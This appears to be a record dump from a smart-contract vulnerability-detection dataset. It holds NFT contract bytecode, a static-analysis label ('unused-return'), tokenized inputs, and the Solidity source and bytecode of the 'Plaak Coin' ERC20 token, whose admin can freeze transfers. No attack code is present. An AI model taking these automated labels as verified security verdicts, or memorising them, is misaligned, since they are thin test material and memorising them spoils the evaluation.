565b5b6137188482850161342f565b91505092915050565b6000602082840312156137375761373661449b565b5b60006137458482850161345d565b91505092915050565b613757816141da565b82525050565b613766816141ec565b82525050565b600061377782614082565b6137818185614098565b935061379181856020860161425d565b61379a816144a0565b840191505092915050565b60006137b08261408d565b6137ba81856140a9565b93506137ca81856020860161425d565b6137d3816144a0565b840191505092915050565b60006137e98261408d565b6137f381856140ba565b935061380381856020860161425d565b80840191505092915050565b600061381c6023836140a9565b9150613827826144b1565b604082019050919050565b600061383f602b836140a9565b915061384a82614500565b604082019050919050565b60006138626032836140a9565b915061386d8261454f565b604082019050919050565b60006138856026836140a9565b91506138908261459e565b604082019050919050565b60006138a86011836140a9565b91506138b3826145ed565b602082019050919050565b60006138cb601c836140a9565b91506138d682614616565b602082019050919050565b60006138ee6024836140a9565b91506138f98261463f565b604082019050919050565b60006139116019836140a9565b915061391c8261468e565b602082019050919050565b60006139346015836140a9565b915061393f826146b7565b602082019050919050565b6000613957602c836140a9565b9150613962826146e0565b604082019050919050565b600061397a6038836140a9565b91506139858261472f565b604082019050919050565b600061399d602a836140a9565b91506139a88261477e565b604082019050919050565b60006139c06029836140a9565b91506139cb826147cd565b604082019050919050565b60006139e36010836140a9565b91506139ee8261481c565b602082019050919050565b6000613a06601d836140a9565b9150613a1182614845565b602082019050919050565b6000613a296020836140a9565b9150613a348261486e565b602082019050919050565b6000613a4c602c836140a9565b9150613a5782614897565b604082019050919050565b6000613a6f6020836140a9565b9150613a7a826148e6565b602082019050919050565b6000613a926016836140a9565b9150613a9d8261490f565b602082019050919050565b6000613ab56029836140a9565b9150613ac082614938565b604082019050919050565b6000613ad8602f836140a9565b9150613ae382614987565b604082019050919050565b6000613afb6009836140a9565b9150613b06826149d6565b602082019050919050565b6000613b1e6021836140a9565b9150613b29826149ff565b604082019050919050565b6000613b416031836140a9565b9150613b4c82614a4e565b604082019050919050565b6000613b64602c836140a9565b9150613b6f82614a9d565b604082019050919050565b6000613b87601d836140a9565b9150613b9282614aec565b602082019050919050565b613ba681614244565b82525050565b6000613bb882856137de565b9150613bc482846137de565b91508190509392505050565b6000602082019050613be5600083018461374e565b92915050565b6000608082019050613c00600083018761374e565b613c0d602083018661374e565b613c1a6040830185613b9d565b8181036060830152613c2c818461376c565b905095945050505050565b6000602082019050613c4c600083018461375d565b92915050565b60006020820190508181036000830152613c6c81846137a5565b905092915050565b60006020820190508181036000830152613c8d8161380f565b9050919050565b60006020820190508181036000830152613cad81613832565b9050919050565b60006020820190508181036000830152613ccd81613855565b9050919050565b60006020820190508181036000830152613ced81613878565b9050919050565b60006020820190508181036000830152613d0d8161389b565b9050919050565b60006020820190508181036000830152613d2d816138be565b9050919050565b60006020820190508181036000830152613d4d816138e1565b9050919050565b60006020820190508181036000830152613d6d81613904565b9050919050565b60006020820190508181036000830152613d8d81613927565b9050919050565b60006020820190508181036000830152613dad8161394a565b9050919050565b60006020820190508181036000830152613dcd8161396d565b9050919050565b60006020820190508181036000830152613ded81613990565b9050919050565b60006020820190508181036000830152613e0d816139b3565b9050919050565b60006020820190508181036000830152613e2d816139d6565b9050919050565b60006020820190508181036000830152613e4d816139f9565b9050919050565b60006020820190508181036000830152613e6d81613a1c565b9050919050565b60006020820190508181036000830152613e8d81613a3f565b9050919050565b60006020820190508181036000830152613ead81613a62565b9050919050565b60006020820190508181036000830152613ecd81613a85565b9050919050565b60006020820190508181036000830152613eed81613aa8565b9050919050565b60006020820190508181036000830152613f0d81613acb565b9050919050565b60006020820190508181036000830152613f2d81613aee565b9050919050565b60006020820190508181036000830152613f4d81613b11565b9050919050565b60006020820190508181036000830152613f6d81613b34565b9050919050565b60006020820190508181036000830152613f8d81613b57565b9050919050565b60006020820190508181036000830152613fad81613b7a565b9050919050565b6000602082019050613fc96000830184613b9d565b92915050565b6000613fd9613fea565b9050613fe582826142c2565b919050565b6000604051905090565b600067ffffffffffffffff82111561400f5761400e614458565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561403b5761403a614458565b5b614044826144a0565b9050602081019050919050565b600067ffffffffffffffff82111561406c5761406b614458565b5b614075826144a0565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006140d082614244565b91506140db83614244565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156141105761410f61436d565b5b828201905092915050565b600061412682614244565b915061413183614244565b9250826141415761414061439c565b5b828204905092915050565b600061415782614244565b915061416283614244565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561419b5761419a61436d565b5b828202905092915050565b60006141b182614244565b91506141bc83614244565b9250828210156141cf576141ce61436d565b5b828203905092915050565b60006141e582614224565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561427b578082015181840152602081019050614260565b8381111561428a576000848401525b50505050565b600060028204905060018216806142a857607f821691505b602082108114156142bc576142bb6143cb565b5b50919050565b6142cb826144a0565b810181811067ffffffffffffffff821117156142ea576142e9614458565b5b80604052505050565b60006142fe82614244565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143315761433061436d565b5b600182019050919050565b600061434782614244565b915061435283614244565b9250826143625761436161439c565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f63616e206e6f7420707265206d696e74206d6f7265207468616e20796f75206f60008201527f776e2e0000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f53616c65206e6f7420737461727465642e000000000000000000000000000000600082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f5072652053616c65206e6f7420737461727465642e0000000000000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f6e6f7420656e6f756768206c6566742e00000000000000000000000000000000600082015250565b7f6f6e792034303020616464726573732063616e20707265206d696e742e000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f6e756d73206e6f74206d6f7265207468616e2032302e00000000000000000000600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f736f6c64206f75742e0000000000000000000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f6e6f7420656e6f7567682066756e647320746f2070757263686173652e000000600082015250565b614b1e816141da565b8114614b2957600080fd5b50565b614b35816141ec565b8114614b4057600080fd5b50565b614b4c816141f8565b8114614b5757600080fd5b50565b614b6381614244565b8114614b6e57600080fd5b5056fea26469706673582212204276903b36b5196f267a1f620d62be2259e1c57713c61b9b7bc5ae90a719762a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 26337, 22275, 9818, 10790, 2683, 2850, 2549, 2278, 23632, 12879, 2509, 2546, 16576, 2050, 17788, 2063, 16048, 2487, 9818, 2620, 2050, 21926, 22394, 2575, 2278, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2385, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 5890, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,555
0x96fc0229b1aab013000909143f079ab096d55317
pragma solidity ^0.4.13; /* Paak Coin * plaak.com * * @Author Michael Arbach */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { /* assert(b > 0); // Solidity automatically throws when dividing by 0 */ uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); /* SafeMath.sub will throw if there is not enough balance. */ balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; /* Check is not needed because sub(_allowance, _value) will already throw if this condition is not met * require (_value <= _allowance); */ balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Plaak is StandardToken, Ownable { string public constant name = "Plaak Coin"; string public constant symbol = "PLK"; uint public constant decimals = 18; address public admin; bool public transferEnabled = true; function Plaak( uint _tokenTotalAmount ) { /* Mint fixed amount of tokens and disable minting forever. */ balances[msg.sender] = _tokenTotalAmount; totalSupply = _tokenTotalAmount; Transfer(address(0x0), msg.sender, _tokenTotalAmount); admin = msg.sender; transferOwnership(admin); } modifier onlyWhenTransferEnabled() { if( ! transferEnabled ) { require( msg.sender == admin || msg.sender == owner ); } _; } function setTransferEnabled( bool _transferEnabled ) { require( msg.sender == admin ); transferEnabled = _transferEnabled; } function setAdmin(address _admin){ require( msg.sender == admin ); admin = _admin; } function transfer(address _to, uint _value) onlyWhenTransferEnabled returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) onlyWhenTransferEnabled returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) onlyWhenTransferEnabled returns (bool){ balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } function burnFrom(address _from, uint256 _value) onlyWhenTransferEnabled returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019a57806318160ddd146101f457806323b872dd1461021d578063313ce5671461029657806342966c68146102bf5780634cd412d5146102fa5780636618846314610327578063704b6c021461038157806370a08231146103ba57806379cc6790146104075780638da5cb5b1461046157806395d89b41146104b65780639fe9f62314610544578063a9059cbb14610569578063d73dd623146105c3578063dd62ed3e1461061d578063f2fde38b14610689578063f851a440146106c2575b600080fd5b341561011757600080fd5b61011f610717565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015f578082015181840152602081019050610144565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a557600080fd5b6101da600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610750565b604051808215151515815260200191505060405180910390f35b34156101ff57600080fd5b610207610842565b6040518082815260200191505060405180910390f35b341561022857600080fd5b61027c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610848565b604051808215151515815260200191505060405180910390f35b34156102a157600080fd5b6102a9610929565b6040518082815260200191505060405180910390f35b34156102ca57600080fd5b6102e0600480803590602001909190505061092e565b604051808215151515815260200191505060405180910390f35b341561030557600080fd5b61030d610b68565b604051808215151515815260200191505060405180910390f35b341561033257600080fd5b610367600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b7b565b604051808215151515815260200191505060405180910390f35b341561038c57600080fd5b6103b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e0c565b005b34156103c557600080fd5b6103f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eac565b6040518082815260200191505060405180910390f35b341561041257600080fd5b610447600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ef5565b604051808215151515815260200191505060405180910390f35b341561046c57600080fd5b610474610fe6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c157600080fd5b6104c961100c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105095780820151818401526020810190506104ee565b50505050905090810190601f1680156105365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561054f57600080fd5b61056760048080351515906020019091905050611045565b005b341561057457600080fd5b6105a9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110be565b604051808215151515815260200191505060405180910390f35b34156105ce57600080fd5b610603600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061119d565b604051808215151515815260200191505060405180910390f35b341561062857600080fd5b610673600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611399565b6040518082815260200191505060405180910390f35b341561069457600080fd5b6106c0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611420565b005b34156106cd57600080fd5b6106d5611578565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600a81526020017f506c61616b20436f696e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600460149054906101000a900460ff16151561091557600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109095750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561091457600080fd5b5b61092084848461159e565b90509392505050565b601281565b6000600460149054906101000a900460ff1615156109fb57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109ef5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156109fa57600080fd5b5b610a4d82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa58260005461188a90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600460149054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c8c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d20565b610c9f838261188a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6857600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460149054906101000a900460ff161515610fc257600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fb65750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610fc157600080fd5b5b610fcd833384610848565b1515610fd557fe5b610fde8261092e565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f504c4b000000000000000000000000000000000000000000000000000000000081525081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110a157600080fd5b80600460146101000a81548160ff02191690831515021790555050565b6000600460149054906101000a900460ff16151561118b57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061117f5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561118a57600080fd5b5b61119583836118a3565b905092915050565b600061122e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156114b857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115dd57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506116ae83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188a90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061174383600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611799838261188a90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600082821115151561189857fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118e057600080fd5b61193282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119c782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611a8d57fe5b80915050929150505600a165627a7a723058209ccbb1f0e8da365e5a11edea220bf077dea01e3fd0149d936ddbdb47eaea3d770029
{"success": true, "error": null, "results": {}}
true
null
{}
